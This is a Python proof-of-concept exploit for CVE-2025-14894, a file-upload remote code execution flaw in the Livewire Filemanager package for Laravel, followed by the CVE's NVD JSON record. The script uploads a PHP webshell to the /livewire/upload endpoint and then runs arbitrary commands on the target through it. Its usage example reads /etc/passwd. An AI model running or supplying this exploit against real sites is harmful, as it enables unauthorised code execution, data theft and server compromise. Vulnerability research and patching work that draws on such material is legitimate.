CVE-2025-14894

import requests import sys # CVE-2025-14894 PoC - Livewire Filemanager Unauthenticated RCE # Target: Laravel application with Livewire Filemanager installed def exploit(target_url, command="id"): """ Exploit for CVE-2025-14894: Livewire Filemanager File Upload RCE Args: target_url: Base URL of the vulnerable application command: System command to execute (default: 'id') Returns: Command output from the target system """ upload_url = f"{target_url}/livewire/upload" # Malicious PHP webshell payload php_payload = f"<?php system($_GET['cmd']); ?>" files = { 'file': ('exploit.php', php_payload, 'application/x-php') } data = { 'uuids': 'test', 'chunk': 'false', 'chunkSize': 0 } headers = { 'X-Livewire': 'true', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f"[*] Uploading malicious PHP file to {upload_url}") response = requests.post(upload_url, files=files, data=data, headers=headers, timeout=30) if response.status_code == 200: print("[+] File uploaded successfully!") print(f"[*] Response: {response.text}") # Attempt to execute command via uploaded file shell_url = f"{target_url}/storage/filemanager/uploads/exploit.php?cmd={command}" print(f"[*] Executing command via: {shell_url}") exec_response = requests.get(shell_url, timeout=30) print(f"[+] Command output:\n{exec_response.text}") return exec_response.text else: print(f"[-] Upload failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14894.py <target_url> [command]") print("Example: python cve-2025-14894.py http://vulnerable-app.com 'cat /etc/passwd'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else "id" exploit(target, cmd)

{"cve": {"id": "CVE-2025-14894", "sourceIdentifier": "[email protected]", "published": "2026-01-16T13:16:11.220", "lastModified": "2026-01-23T17:04:25.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Livewire Filemanager, commonly used in Laravel applications, contains LivewireFilemanagerComponent.php, which does not perform file type and MIME validation, allowing for RCE through upload of a malicious php file that can then be executed via the /storage/ URL if a commonly performed setup process within Laravel applications has been completed."}, {"lang": "es", "value": "Livewire Filemanager, comúnmente utilizado en aplicaciones Laravel, contiene LivewireFilemanagerComponent.php, el cual no realiza validación de tipo de archivo y MIME, lo que permite la RCE mediante la carga de un archivo PHP malicioso que luego puede ser ejecutado a través de la URL /storage/ si se ha completado un proceso de configuración comúnmente realizado dentro de las aplicaciones Laravel."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:livewire-filemanager:filemanager:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.0.0", "matchCriteriaId": "06BFD867-0006-48D5-9F10-52149BF43911"}]}]}], "references": [{"url": "https://github.com/livewire-filemanager/filemanager", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://hackingbydoing.wixsite.com/hackingbydoing/post/unauthenticated-rce-in-livewire-filemanager", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.kb.cert.org/vuls/id/650657", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Third Party Advisory"]}]}}